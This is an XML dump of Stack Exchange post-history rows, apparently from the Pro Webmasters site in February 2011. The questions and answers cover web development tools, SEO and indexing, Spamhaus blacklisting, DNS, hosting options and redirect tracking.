  <row Id="19769" PostHistoryTypeId="2" PostId="9033" RevisionGUID="5cff528a-dfa8-41ff-a247-f085acf74eb1" CreationDate="2011-02-11T13:01:47.733" UserId="4803" Text="I use &lt;a href=&quot;http://www.aptana.com&quot;&gt;Aptana&lt;/a&gt; for development. Version 1.5 + PHP addon has great PHP support, not to mention great HTML/CSS/JavaScript support.&#xD;&#xA;&#xD;&#xA;Graphic design I use &lt;a href=&quot;http://www.adobe.com/products/photoshop/compare/&quot;&gt;Adobe Photoshop&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;For debugging I use common sense, late nights, and &lt;a href=&quot;http://stevesouders.com/mobileperf/mobileperfbkm.php&quot;&gt;bookmarklets&lt;/a&gt;, which include:&#xD;&#xA;&#xD;&#xA; - DOM MONSTER! &#xD;&#xA; - cssess  &#xD;&#xA; - Zoompf  &#xD;&#xA; - Mobile Perf&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19770" PostHistoryTypeId="2" PostId="9034" RevisionGUID="9d9ec308-d76d-49ac-83cd-5b988e2e9648" CreationDate="2011-02-11T13:11:34.900" UserId="5340" Text="I'm a fan of [DokuWiki][1] for light projects. It's got several authentication mechanisms and ACL security if you need it, and creating a [template][2] is just a matter of including the right hooks in a PHP file, so you can include arbitrary PHP in templates. I've used this to change things based on date, who's logged in, and so on. Quite a few modules, and they seem to be on a fairly active development cycle.&#xD;&#xA;&#xD;&#xA;Note: it doesn't use a database; everything is either a text file or media file in the data root.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: http://www.dokuwiki.org/&#xD;&#xA;[2]: http://www.dokuwiki.org/devel:templates" />
  <row Id="19771" PostHistoryTypeId="17" PostId="9036" RevisionGUID="0d7c0a38-c9e6-4599-af4d-5d74fc9ec934" CreationDate="2011-02-11T13:22:01.530" UserId="-1" Comment="from http://stackoverflow.com/questions/4968024/multiple-domian-links-on-google-from-one-wordpress-site/4968933#4968933" Text="" />
  <row Id="19772" PostHistoryTypeId="2" PostId="9036" RevisionGUID="6d6079f0-34eb-4d65-9563-4f7e81770c4e" CreationDate="2011-02-11T12:24:15.870" UserDisplayName="Arlen Beiler" Text="&gt; Why in the world would you want to&#xD;&#xA;&gt; remove parts of your site from Google&#xD;&#xA;&gt; search results? You want LESS traffic?&#xD;&#xA;&#xD;&#xA;That is exactly right. The more results the better. To answer your question, I don't think you can remove results, simply because, theoretically, no one would want to. Hope that helps." />
  <row Id="19773" PostHistoryTypeId="2" PostId="9035" RevisionGUID="62bb2721-3a0f-4fd2-bf85-a5c15b5589db" CreationDate="2011-02-11T10:37:38.523" UserDisplayName="user557318" Text="at present when i google the domain name of the wordpress sites i have worked on i receive at least three listings(often the top three. &#xD;&#xA;&#xD;&#xA;The first listing is the only one i am interested in seeing, others appear from individual pages from that wordpress site i.e.  1st hit - www.domain.com 2nd hit www.domain.com/about  3rd hit www.domain.com/designers . &#xD;&#xA;&#xD;&#xA;Does anybody know if its possible to remove all the links but the absoloute www.domain.com " />
  <row Id="19774" PostHistoryTypeId="1" PostId="9035" RevisionGUID="62bb2721-3a0f-4fd2-bf85-a5c15b5589db" CreationDate="2011-02-11T10:37:38.523" UserDisplayName="user557318" Text="multiple domian links on google from one wordpress site" />
  <row Id="19775" PostHistoryTypeId="3" PostId="9035" RevisionGUID="62bb2721-3a0f-4fd2-bf85-a5c15b5589db" CreationDate="2011-02-11T10:37:38.523" UserDisplayName="user557318" Text="&lt;wordpress&gt;&lt;google&gt;&lt;domains&gt;" />
  <row Id="19776" PostHistoryTypeId="17" PostId="9035" RevisionGUID="e74e515c-19fd-4a0e-97c1-00d2a8137e1e" CreationDate="2011-02-11T13:22:01.530" UserId="-1" Comment="from http://stackoverflow.com/questions/4968024/multiple-domian-links-on-google-from-one-wordpress-site" Text="" />
  <row Id="19781" PostHistoryTypeId="25" PostId="9030" RevisionGUID="dc7d5d57-02fe-4698-a547-177d83e2ac5d" CreationDate="2011-02-11T14:22:17.733" Comment="http://twitter.com/#!/StackWebmasters/status/36067503658504192" />
  <row Id="19782" PostHistoryTypeId="5" PostId="9029" RevisionGUID="704827f2-13f0-4f59-8618-5c9483418a09" CreationDate="2011-02-11T14:30:38.103" UserId="1089" Comment="added 159 characters in body" Text="What tools, free or otherwise do you use to help you with your &quot;webmastering&quot;&#xD;&#xA;&#xD;&#xA;I'm thinking along the lines of, Link checking, analytics, web stats, page validation, plus anything else you can think of!&#xD;&#xA;&#xD;&#xA;Personally I use: [webmasters tools][1], [google analytics][2], [AWstats][3]&#xD;&#xA;&#xD;&#xA;I'm looking for anything (free or paid) which maybe hovering under my radar which could be of use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/&#xD;&#xA;  [2]: http://www.google.com/analytics/&#xD;&#xA;  [3]: http://awstats.sourceforge.net&#xD;&#xA;&#xD;&#xA;(edit - missed a couple of words out of first line!)" />
  <row Id="19783" PostHistoryTypeId="2" PostId="9039" RevisionGUID="372de4e5-e66b-4c51-9525-d1fd2f2af7bc" CreationDate="2011-02-11T14:50:40.803" UserId="4544" Text="Being a developer wanting to be a designer, I'm really interested in learning how to create top notch UI for websites, mobile apps, etc. However, I know nothing about PhotoShop or anything related to design except for HTML and CSS.&#xD;&#xA;&#xD;&#xA;Where should I start? How do I learn how to create beautiful designed websites and interfaceS?&#xD;&#xA;&#xD;&#xA;Is there a book, tutorial, etc that you recommend?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="19784" PostHistoryTypeId="1" PostId="9039" RevisionGUID="372de4e5-e66b-4c51-9525-d1fd2f2af7bc" CreationDate="2011-02-11T14:50:40.803" UserId="4544" Text="How to create great interfaces in PhotoShop, etc." />
  <row Id="19785" PostHistoryTypeId="3" PostId="9039" RevisionGUID="372de4e5-e66b-4c51-9525-d1fd2f2af7bc" CreationDate="2011-02-11T14:50:40.803" UserId="4544" Text="&lt;website-design&gt;&lt;design&gt;&lt;photoshop&gt;" />
  <row Id="19786" PostHistoryTypeId="2" PostId="9040" RevisionGUID="de8b9808-4f1f-4894-8ae1-685f73c80801" CreationDate="2011-02-11T14:52:04.750" UserId="3307" Text="Have you actually got in touch with Spamhaus? They might do white listing on an IP by IP basis.&#xD;&#xA;&#xD;&#xA;The other option is to change your ISP to one not hosted on a a range that's blacklisted." />
  <row Id="19787" PostHistoryTypeId="2" PostId="9041" RevisionGUID="cd6bbf2c-4bac-4f82-9323-b888829c36dc" CreationDate="2011-02-11T14:55:45.730" UserId="3307" Text="Both your examples above use [Tender][1] from a company called [entp][2]. You could also try [Zendesk][3] which is used by companies such as Twitter. If you wanted to go down the more community route, you could use [Get Satisfaction][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tenderapp.com/&#xD;&#xA;  [2]: http://entp.com/&#xD;&#xA;  [3]: http://www.zendesk.com/&#xD;&#xA;  [4]: http://getsatisfaction.com/" />
  <row Id="19788" PostHistoryTypeId="5" PostId="9003" RevisionGUID="b41baf25-0e3f-4bf9-a131-8a105e3d01e5" CreationDate="2011-02-11T14:56:17.687" UserId="5325" Comment="added 542 characters in body" Text="we are using the google search appliance in our web app.  It is used by several other parts of our organization but we are using it on a web app that uses https.  So, we followed google's instructions to get all the google code via https so that users don't get the annoying &quot;This page contains both secure and insecure items&quot; popup.  Most of the google code has behaved and come to us as https, but there is a part of it pulling from http://www.google.com/cse &#xD;&#xA;full URL = &#xD;&#xA;&#xD;&#xA;    http://www.google.com/cse?q=searchTerma&amp;cx=001025153263958516519%3Aj2323tveixc&amp;cof=FORID%3A11%3BNB%3A1&amp;ie...&#xD;&#xA;&#xD;&#xA; that causes the insecure items warning to popup.  &#xD;&#xA;This popup occurs in the results page and the above URL is the only non-secure request I can find.&#xD;&#xA;&#xD;&#xA;Update.  It turns out we didn't follow a specific Google doc to make this happen, but instead a series of forum posts.  Most recently we are trying to follow this one:&#xD;&#xA;http://www.google.com/support/forum/p/webelements/thread?tid=64ebdf5fd3839c2d&amp;hl=en&#xD;&#xA;&#xD;&#xA;Reviewing these, I think that serving our entire site through https and using Google's custom search with javascript is not possible at this time.  &#xD;&#xA;and since we have paid for a custom search from google, there should be a way to change to non-javascript version.  Is this correct?&#xD;&#xA;" />
  <row Id="19789" PostHistoryTypeId="2" PostId="9042" RevisionGUID="039763df-3de8-4d24-b091-0804a7794f62" CreationDate="2011-02-11T15:02:00.840" UserId="3307" Text="When setting up Google Analytics for multiple sites under one client, I tend to use one account and multiple profiles. Just keeps it together nicely.&#xD;&#xA;&#xD;&#xA;To be honest, whatever works for you and makes life easier for you is the best way. I don't think there's a right or wrong way." />
  <row Id="19790" PostHistoryTypeId="2" PostId="9043" RevisionGUID="c4ac6ea2-503d-40dc-81ce-630c00e88454" CreationDate="2011-02-11T15:44:06.587" UserId="3467" Text="#Developing:&#xD;&#xA;&#xD;&#xA;Software:&#xD;&#xA;&#xD;&#xA;- Zend Development Environment&#xD;&#xA;- FileZilla&#xD;&#xA;- EditPlus if needed&#xD;&#xA;- Photoshop&#xD;&#xA;&#xD;&#xA;Front-end frameworks/etc:&#xD;&#xA;&#xD;&#xA;- CSS3pie&#xD;&#xA;- html5boilerplate&#xD;&#xA;- FontSquirell&#xD;&#xA;- Modernizr + Selectivizr&#xD;&#xA;- Where needed jQuery&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Browsers:&#xD;&#xA;&#xD;&#xA;- Chrome + colorpicker plugin&#xD;&#xA;- FireFox + FireBug + YSlow&#xD;&#xA;- FireFox second install emulating iPad &#xD;&#xA;- IE8 and IE9beta&#xD;&#xA;- Opera&#xD;&#xA;- Safari&#xD;&#xA;&#xD;&#xA;Sites:&#xD;&#xA;&#xD;&#xA;- StackOverflow&#xD;&#xA;- A List Apart&#xD;&#xA;- CSS3.info&#xD;&#xA;- HTML5 Doctor&#xD;&#xA;- CSS3 Gradient Generator&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;#SEO:&#xD;&#xA;- Webmaster Tools&#xD;&#xA;- Analytics&#xD;&#xA;- SEOmoz OpenSite Explorer&#xD;&#xA;- Yahoo Site Explorer&#xD;&#xA;- Google PR Toolbar&#xD;&#xA;&#xD;&#xA;#Comic relief and other distractions&#xD;&#xA;(VERY important to get your mind off of the code once in a while)&#xD;&#xA;&#xD;&#xA;- CSSsquirrel&#xD;&#xA;- Dilbert&#xD;&#xA;- Cyanide &amp; Happiness&#xD;&#xA;- a movie trivia quiz " />
  <row Id="19791" PostHistoryTypeId="2" PostId="9044" RevisionGUID="d7b5d998-c60a-40c7-ada9-0bd4d414b8b1" CreationDate="2011-02-11T15:48:25.370" UserId="3307" Text="I've only been a member of Pro Webmasters for 2 months (according to my user profile) but in that time, I like to think I play a decent role in the site. I'd like to expand that role. I don't think 760 reputation is particularly bad in only 2 months. &#xD;&#xA;&#xD;&#xA;I haven't done any moderating for a while, but a few years ago I was a moderator for PHPBuilder (in fact I think i still have a moderator account there) and enjoyed my time there. On that site you get everyone from people starting out to seasoned professionals with more experience than me but as long as one acts in a calm and reasonable fashion then everyone gets along and everyone is happy.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19792" PostHistoryTypeId="2" PostId="9045" RevisionGUID="024603c3-b7cb-4502-b938-f66815ce3cb7" CreationDate="2011-02-11T15:55:10.597" UserId="4803" Text="You're in luck. Many people have come into the world of Web Design asking the same question. Often times, you'll see a team of people, consisting of atleast one coder and one graphic designer. Good choice with Photoshop - that's what I stick with.&#xD;&#xA;&#xD;&#xA;With Adobe Photoshop's newest version, CS5, it has become intensely advanced - able to perform complex tasks with simple tools, or even more complex tasks with complex tools. But I warn you, learning all of the cool features of Photoshop can lead to lack of nutrients. :)&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://www.photoshop-plus.co.uk/2011/02/08/getting-to-know-photoshop-the-main-tool-bar/&quot;&gt;Here&lt;/a&gt; is a tutorial that covers the basics so you can get the swing of things:&#xD;&#xA;&#xD;&#xA;Once you get all of that down, &lt;a href=&quot;http://www.reencoded.com/2009/06/10/45-awesome-photoshop-website-templatelayout-tutorials/&quot;&gt;I&lt;/a&gt; &lt;a href=&quot;http://vandelaydesign.com/blog/design/website-layout-photoshop-tutorials/&quot;&gt;found&lt;/a&gt; &lt;a href=&quot;http://dzineblog.com/2008/07/best-photoshop-layout-design-tutorials.html&quot;&gt;a&lt;/a&gt; &lt;a href=&quot;http://www.good-tutorials.com/tutorials/photoshop/web-layouts&quot;&gt;bunch&lt;/a&gt; of &lt;a href=&quot;http://sixrevisions.com/photoshop/25-photoshop-tutorials-for-web-designers/&quot;&gt;sites&lt;/a&gt; on Google that have some really innovative design tutorials.&#xD;&#xA;&#xD;&#xA;There are some techniques that you might have to learn. A tip, shiny is usually a good step these days. To get a truly unique design, find features that you like from any website template, then use it in your own way.&#xD;&#xA;&#xD;&#xA;I hope that helped. Leave a comment if you need more information." />
  <row Id="19797" PostHistoryTypeId="2" PostId="9047" RevisionGUID="5de09005-89a9-4526-907e-caf483b28d63" CreationDate="2011-02-11T15:58:27.640" UserId="5346" Text="i am a computer science student,and i know C language. i want to learn making websites but dont know how to go about it. i did learn some HTML, and right now learning CSS from www.w3schools.com .&#xD;&#xA;&#xD;&#xA;now can anyone tell me what shall i learn next and what all things[languages] i need to learn to start making websites. also refer to the study material if u can. thanks.&#xD;&#xA;&#xD;&#xA;also, how long will it take me to make some nice websites?" />
  <row Id="19798" PostHistoryTypeId="1" PostId="9047" RevisionGUID="5de09005-89a9-4526-907e-caf483b28d63" CreationDate="2011-02-11T15:58:27.640" UserId="5346" Text="website development, where to start from" />
  <row Id="19799" PostHistoryTypeId="3" PostId="9047" RevisionGUID="5de09005-89a9-4526-907e-caf483b28d63" CreationDate="2011-02-11T15:58:27.640" UserId="5346" Text="&lt;web-development&gt;&lt;web&gt;" />
  <row Id="19800" PostHistoryTypeId="10" PostId="9047" RevisionGUID="6e21eae6-3fc5-49e7-9c53-087b7423be3c" CreationDate="2011-02-11T16:01:29.417" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19801" PostHistoryTypeId="5" PostId="9040" RevisionGUID="4b03a407-1b39-48d8-84c3-ba67fe4324e1" CreationDate="2011-02-11T16:06:04.793" UserId="3307" Comment="added 99 characters in body; added 113 characters in body" Text="Have you actually got in touch with Spamhaus? They might do white listing on an IP by IP basis.&#xD;&#xA;&#xD;&#xA;The other option is to change your ISP to one not hosted on a a range that's blacklisted.&#xD;&#xA;&#xD;&#xA;**Edit** &#xD;&#xA;&#xD;&#xA;Have you tried this: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808#removal &#xD;&#xA;&#xD;&#xA;**Edit 2**&#xD;&#xA;&#xD;&#xA;To be completely honest, if you're THAT desperate to get off the spamhaus list I'd change ISPs " />
  <row Id="19802" PostHistoryTypeId="2" PostId="9048" RevisionGUID="6d4a4c35-dfbb-4feb-be51-09f97b387f7f" CreationDate="2011-02-11T16:15:45.060" UserId="5034" Text="you will have to wait until the TTL for your DNS is expired, which takes 2-3 days maximum in general.&#xD;&#xA;the only thing you might be able to do otherwise is to manually set a lower TTL, but most DNS providers dont allow this." />
  <row Id="19803" PostHistoryTypeId="5" PostId="9044" RevisionGUID="81388c81-399a-460e-bc2e-23a4e4f8f395" CreationDate="2011-02-11T16:27:47.990" UserId="3307" Comment="added 38 characters in body" Text="I've only been a member of Pro Webmasters for 2 months (according to my user profile) but in that time, I like to think I play a decent role in the site. I'd like to expand that role. I don't think 760 reputation (it was 760 when I wrote this anyway) is particularly bad in only 2 months. &#xD;&#xA;&#xD;&#xA;I haven't done any moderating for a while, but a few years ago I was a moderator for PHPBuilder (in fact I think i still have a moderator account there) and enjoyed my time there. On that site you get everyone from people starting out to seasoned professionals with more experience than me but as long as one acts in a calm and reasonable fashion then everyone gets along and everyone is happy.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19804" PostHistoryTypeId="2" PostId="9049" RevisionGUID="d93e2a12-3682-4055-a746-de0fd41d0d9e" CreationDate="2011-02-11T16:32:17.690" UserId="3890" Text="For UI, I recommend using Fireworks over Photoshop. Photoshop is great for creative and complex artwork (print or web), but in my opinion an overly complex tool for web related UI.&#xD;&#xA;&#xD;&#xA;Fireworks is specifically designed as a web-orientated authoring tool where Photoshop is not. The tool-set for Fireworks is geared towards building web UI, not the complex creative work that is offered by Photoshop.&#xD;&#xA;&#xD;&#xA;Fireworks uses a very similar tool set to Photoshop, minus the bloat, so you can do everything you would need to create web UI.&#xD;&#xA;&#xD;&#xA;Fireworks is also part of the Adobe Creative Suite, so if you have Photoshop you should have it as well.&#xD;&#xA;&#xD;&#xA;Reference material, not specific to Fireworks but UI in general;&#xD;&#xA;&#xD;&#xA;http://www.jankoatwarpspeed.com/&#xD;&#xA;&#xD;&#xA;I would highly recommend reading his articles and looking at his work for inspiration. There are 2 sides to UI which he covers very well: The interface and the experience of using the interface. Also referred to as UI and UX.&#xD;&#xA;&#xD;&#xA;Learning how to use the application can be found through tutorials online. Envato has a great tutorial network http://tutsplus.com/, granted their main Tutorial site for web is Photoshop orientated, but most of what they do in Photoshop is done in the same, or similar method, in Fireworks.&#xD;&#xA;&#xD;&#xA;I also find myself quite often bookmarking sites that have unique design traits or UI elements that would under some future scenario work well for a project. For example a unique tab structure, accordian style, or even a pager.&#xD;&#xA;&#xD;&#xA;Design UI on a basic level is broken down in to areas of data display. Since you have a developer background, you know how to present data from a logic perspective (Menu's, accordions, tabs etc). Now it's really just building that UI using those controls or modules from a visual perspective.&#xD;&#xA;&#xD;&#xA;Some additional reading on UX:&#xD;&#xA;&#xD;&#xA;http://uxmovement.com/&#xD;&#xA;&#xD;&#xA;Having a developer background as well, I can tell you that when I build my apps, the first step is to create the UI which in turn defines the apps functionality. My created artwork serves as both the artistic value for the app but also it's function definition. I always build my logic around the completed artwork, never the other way around. This always means that i put the user first.&#xD;&#xA;&#xD;&#xA;I hope this gives you at least a starting point." />
  <row Id="19805" PostHistoryTypeId="2" PostId="9050" RevisionGUID="18ba59e5-6e6d-4eea-a2eb-27c053853e14" CreationDate="2011-02-11T16:34:14.790" UserId="5348" Text="[LiveZilla][1] is a free and open source customer-service chat application.&#xD;&#xA;&#xD;&#xA;[PHP Free Chat][2] is a LGPL licensed open source chat-room chat application.&#xD;&#xA;&#xD;&#xA;Both of these are mature, full featured programs with a large user base and strong community support.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.livezilla.net/home/en/&#xD;&#xA;  [2]: http://www.phpfreechat.net/" />
  <row Id="19806" PostHistoryTypeId="5" PostId="9044" RevisionGUID="54cc3009-10ff-4bce-8e41-90a7ee7d4390" CreationDate="2011-02-11T16:58:03.783" UserId="3307" Comment="added 105 characters in body" Text="I've only been a member of Pro Webmasters for 2 months (according to my user profile) but in that time, I like to think I play a decent role in the site. I'd like to expand that role. I don't think 760 reputation (it was 760 when I wrote this anyway) is particularly bad in only 2 months. &#xD;&#xA;&#xD;&#xA;I haven't done any moderating for a while, but a few years ago I was a moderator for PHPBuilder (in fact I think i still have a moderator account there) and enjoyed my time there. On that site you get everyone from people starting out to seasoned professionals with more experience than me but as long as one acts in a calm and reasonable fashion then everyone gets along and everyone is happy.&#xD;&#xA;&#xD;&#xA;Finally, I'm in the UK so I can help out the other moderators when the moon is hanging over the States.&#xD;&#xA;" />
  <row Id="19807" PostHistoryTypeId="2" PostId="9051" RevisionGUID="a0b104fb-7f49-42ba-93ee-8437a662772c" CreationDate="2011-02-11T17:03:21.453" UserId="3307" Text="Since you've got the scraping know-how, I would suggest scraping [yell.com][1] for UK business addresses. Maybe [Yelp][2]?&#xD;&#xA;&#xD;&#xA;It's worth noting that people don't like their websites being scraped so they may well block you *very* quickly and Google is getting quite passionate about duplicate content (I can't remember the exact term for it) on different sites. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.yell.com&#xD;&#xA;  [2]: http://www.yelp.com" />
  <row Id="19808" PostHistoryTypeId="2" PostId="9052" RevisionGUID="93827c9b-b686-476f-9509-27c263281d3e" CreationDate="2011-02-11T17:06:55.647" UserId="1253" Text="If you're in the US or Canada [infoUSA][1] is worth checking out. A previous employer used to use them for mailings. You can be very specific with what kinds of business you want and what kind of data is required such as &quot;must have phone number&quot; or must be in X industry&quot; or &quot;must be in business over X years&quot; etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.infousa.com/" />
  <row Id="19809" PostHistoryTypeId="2" PostId="9053" RevisionGUID="52c54205-123e-4079-90f9-d9cc7b237bd7" CreationDate="2011-02-11T17:11:16.033" UserId="3307" Text="Firstly, the domain registrar. For this, you'd be looking at setting up an ecommerce site (unless you want to give away domain names for free), then look at this: http://www.icann.org/en/registrars/accreditation-process.htm (tl;dr: costs $2500 and you have to fill out a load of paperwork)&#xD;&#xA;&#xD;&#xA;My suggestion would be to offer name servers for people to switch to (usually if you've bought a reseller account your hosting company will provide this), or you could offer to buy it for people and then invoice (or the other way around).&#xD;&#xA;&#xD;&#xA;I did what you wanted for a while, but I found it much easier to set up recurring Paypal payments (insert chosen payment provider) and then just set it up by hand. It only took about 5 or 10 mins per account." />
  <row Id="19810" PostHistoryTypeId="2" PostId="9054" RevisionGUID="3902d2b7-b1e7-4e19-8b30-1f0135ab0cc0" CreationDate="2011-02-11T17:12:36.733" UserId="3307" Text="Is [Shopify][1] an option? Or [Etsy][2]?&#xD;&#xA;&#xD;&#xA; [1]:http://www.shopify.com/&#xD;&#xA; [2]:http://www.etsy.com" />
  <row Id="19811" PostHistoryTypeId="2" PostId="9055" RevisionGUID="c75053bf-f9a9-486f-91d3-f9498e790162" CreationDate="2011-02-11T17:21:15.203" UserId="226" Text="On my site, I currently have no special rules for search engines. It is a blog, statically generated using a Python program. When I search for some of my articles on Google, there is usually a tag or category page included in the results. Sometimes it even ranks ahead of the article itself. Obviously, as these links aren't always going to have the article on them, this aren't the results I want people to click on.&#xD;&#xA;&#xD;&#xA;So, I'm thinking of setting noindex on these pages. Is there any possible downside to doing so? Is this possible to do via robots.txt, or do I have to add it to all the relevant templates? All I can find for robots.txt are ways to stop the search engine crawling those pages, which isn't what I want - while I don't want them indexed, it's still the only surefire way to find all my blog posts." />
  <row Id="19812" PostHistoryTypeId="1" PostId="9055" RevisionGUID="c75053bf-f9a9-486f-91d3-f9498e790162" CreationDate="2011-02-11T17:21:15.203" UserId="226" Text="Should I prevent search engines indexing tag/category pages?" />
  <row Id="19813" PostHistoryTypeId="3" PostId="9055" RevisionGUID="c75053bf-f9a9-486f-91d3-f9498e790162" CreationDate="2011-02-11T17:21:15.203" UserId="226" Text="&lt;robots.txt&gt;&lt;tags&gt;&lt;noindex&gt;" />
  <row Id="19814" PostHistoryTypeId="25" PostId="9039" RevisionGUID="e71a37ae-993c-498e-99b5-0e2480c1e3fb" CreationDate="2011-02-11T17:22:17.703" Comment="http://twitter.com/#!/StackWebmasters/status/36112802175258624" />
  <row Id="19815" PostHistoryTypeId="2" PostId="9056" RevisionGUID="b8b99be6-17ef-4760-b055-a6c97fed8279" CreationDate="2011-02-11T17:27:33.820" UserId="3307" Text="My first answer is: why would you want less exposure on Google?&#xD;&#xA;&#xD;&#xA;Surely people will still get to the article, even if they have to go via the listing page. And that is a good thing.&#xD;&#xA;&#xD;&#xA;Maybe rather than stopping Google from indexing certain pages, why not do some work on the articles to get them higher. Look at the text on the pages as well as the keywords, title and description (all basic SEO stuff that I'm sure you know)." />
  <row Id="19816" PostHistoryTypeId="2" PostId="9057" RevisionGUID="fc4f39d1-fa8d-4168-8444-ebdc42fc2904" CreationDate="2011-02-11T17:50:17.910" UserId="4756" Text="Take a look at Ubercart http://www.ubercart.org/" />
  <row Id="19817" PostHistoryTypeId="2" PostId="9058" RevisionGUID="410d785f-c8d0-4aa9-9360-f81eff4dda34" CreationDate="2011-02-11T19:35:14.963" UserId="5345" Text="There may also be a case of session hijacking in which case the users session is hijacked by a cracker and used to access the legitimate user's account. In this case we may find the user to be &quot;virtually&quot; accessing the web content from two different IPs." />
  <row Id="19818" PostHistoryTypeId="25" PostId="9055" RevisionGUID="c138794c-e9e3-4fdd-83fd-a589dfe52a8c" CreationDate="2011-02-11T20:22:17.563" Comment="http://twitter.com/#!/StackWebmasters/status/36158100171915264" />
  <row Id="19819" PostHistoryTypeId="2" PostId="9059" RevisionGUID="6c42f372-89d1-4703-b0db-e0ac106e06b5" CreationDate="2011-02-11T20:28:20.007" UserId="4502" Text="No. &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=66359&quot;&gt;Read this&lt;/a&gt;(all of it; there's a lot of useful stuff), though of particular relevance here:&#xD;&#xA;&#xD;&#xA;&gt; Google no longer recommends blocking&#xD;&#xA;&gt; crawler access to duplicate content on&#xD;&#xA;&gt; your website, whether with a&#xD;&#xA;&gt; robots.txt file or other methods.&#xD;&#xA;&#xD;&#xA;[...]&#xD;&#xA;&#xD;&#xA;&gt; Duplicate content on a site is not&#xD;&#xA;&gt; grounds for action on that site unless&#xD;&#xA;&gt; it appears that the intent of the&#xD;&#xA;&gt; duplicate content is to be deceptive&#xD;&#xA;&gt; and manipulate search engine results.&#xD;&#xA;&#xD;&#xA;Search engines are aware that sites(especially blogs) have pages which are basically just listings of excerpts. They're looking for more than that a far as duplicate content." />
  <row Id="19820" PostHistoryTypeId="2" PostId="9060" RevisionGUID="124bbd81-c04d-49a8-b4c5-9f293cee22a9" CreationDate="2011-02-11T20:40:59.650" UserId="5351" Text="www.yoursite.com. CNAME yourdyndns.dyndns.org&#xD;&#xA;" />
  <row Id="19821" PostHistoryTypeId="2" PostId="9061" RevisionGUID="03d0db7d-f96d-4c9f-b51c-e8f61257715c" CreationDate="2011-02-11T21:10:52.277" UserId="5353" Text="I am searching for a web hosting solution that would allow me to use my own Apache modules written in C.&#xD;&#xA;&#xD;&#xA;Have you any idea who would offer that?&#xD;&#xA;&#xD;&#xA;(I have dupplicated that question from ServerFault.com, maybe this question is more appropriate here)" />
  <row Id="19822" PostHistoryTypeId="1" PostId="9061" RevisionGUID="03d0db7d-f96d-4c9f-b51c-e8f61257715c" CreationDate="2011-02-11T21:10:52.277" UserId="5353" Text="WebHosting solutions allowing self-made Apache modules" />
  <row Id="19823" PostHistoryTypeId="3" PostId="9061" RevisionGUID="03d0db7d-f96d-4c9f-b51c-e8f61257715c" CreationDate="2011-02-11T21:10:52.277" UserId="5353" Text="&lt;apache&gt;&lt;web-hosting&gt;" />
  <row Id="19824" PostHistoryTypeId="2" PostId="9062" RevisionGUID="6160835f-e0e6-4ea5-931a-a968bdc64fb3" CreationDate="2011-02-11T21:15:42.803" UserId="1253" Text="Any host that offers dedicated servers will allow you to do this but you won't find a shared host that allows this as they won't risk compromising a server with countless other accounts on it." />
  <row Id="19825" PostHistoryTypeId="2" PostId="9063" RevisionGUID="1b1b09fc-7176-4a9b-95e6-a8d04bdb6f69" CreationDate="2011-02-11T22:40:40.480" UserId="1064" Text="You might also consider a virtual private server (depending upon your needs) - there are many VPS hosting companies which provide full root access to make any changes you need though, as with a dedicated server, you will need to manage all other aspects of the server unless you want to pay the premium for fully-managed service." />
  <row Id="19826" PostHistoryTypeId="2" PostId="9064" RevisionGUID="e11e76fc-f6a7-47a1-97e9-11b8340974e4" CreationDate="2011-02-11T22:52:06.230" UserId="1111" Text="[Magentocommerce][1] seems to be &quot;to much&quot;? Maybe Wordpress with a E-Commerce Plugin?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.magentocommerce.com/" />
  <row Id="19827" PostHistoryTypeId="2" PostId="9065" RevisionGUID="ab1296a9-b0bb-4838-b4ed-3b2824cd58c0" CreationDate="2011-02-11T23:19:57.157" UserId="5355" Text="I'm searching for hosting plans with particular minimum memory and disk available. The information appears to be scattered around the Internet. A while ago I did find a hosting search engine that allowed you to put in different attributes you require, but I can't seem to find it now. Does anyone know sites that do this?" />
  <row Id="19828" PostHistoryTypeId="1" PostId="9065" RevisionGUID="ab1296a9-b0bb-4838-b4ed-3b2824cd58c0" CreationDate="2011-02-11T23:19:57.157" UserId="5355" Text="Hosting Plans Search?" />
  <row Id="19829" PostHistoryTypeId="3" PostId="9065" RevisionGUID="ab1296a9-b0bb-4838-b4ed-3b2824cd58c0" CreationDate="2011-02-11T23:19:57.157" UserId="5355" Text="&lt;web-hosting&gt;&lt;search&gt;" />
  <row Id="19830" PostHistoryTypeId="25" PostId="9061" RevisionGUID="5cc05106-79c8-42e7-977c-80994d81dfd6" CreationDate="2011-02-11T23:22:17.963" Comment="http://twitter.com/#!/StackWebmasters/status/36203400135704576" />
  <row Id="19831" PostHistoryTypeId="2" PostId="9066" RevisionGUID="4ba54d78-8703-42eb-bdcb-11eed35f1c7b" CreationDate="2011-02-10T02:10:33.750" UserDisplayName="Bill" Text="Is there a way in which I can find out if a user arrived at my site via a redirect?  &#xD;&#xA;&#xD;&#xA;Here's an example:  There are two sites, first.com &amp; second.com.  Any request to first.com will do a 302 redirect to second.com.  When the request at second.com arrives, is there anyway to know it was redirected from first.com?  &#xD;&#xA;&#xD;&#xA;Note that in this example you have no control over first.com.  (In fact, it could be something bad, like kiddieporn.com.)  &#xD;&#xA;&#xD;&#xA;Also note, because it is a redirect, it will **not** be in the HTTP referrer header." />
  <row Id="19832" PostHistoryTypeId="1" PostId="9066" RevisionGUID="4ba54d78-8703-42eb-bdcb-11eed35f1c7b" CreationDate="2011-02-10T02:10:33.750" UserDisplayName="Bill" Text="Tracking Redirects Leading to your site" />
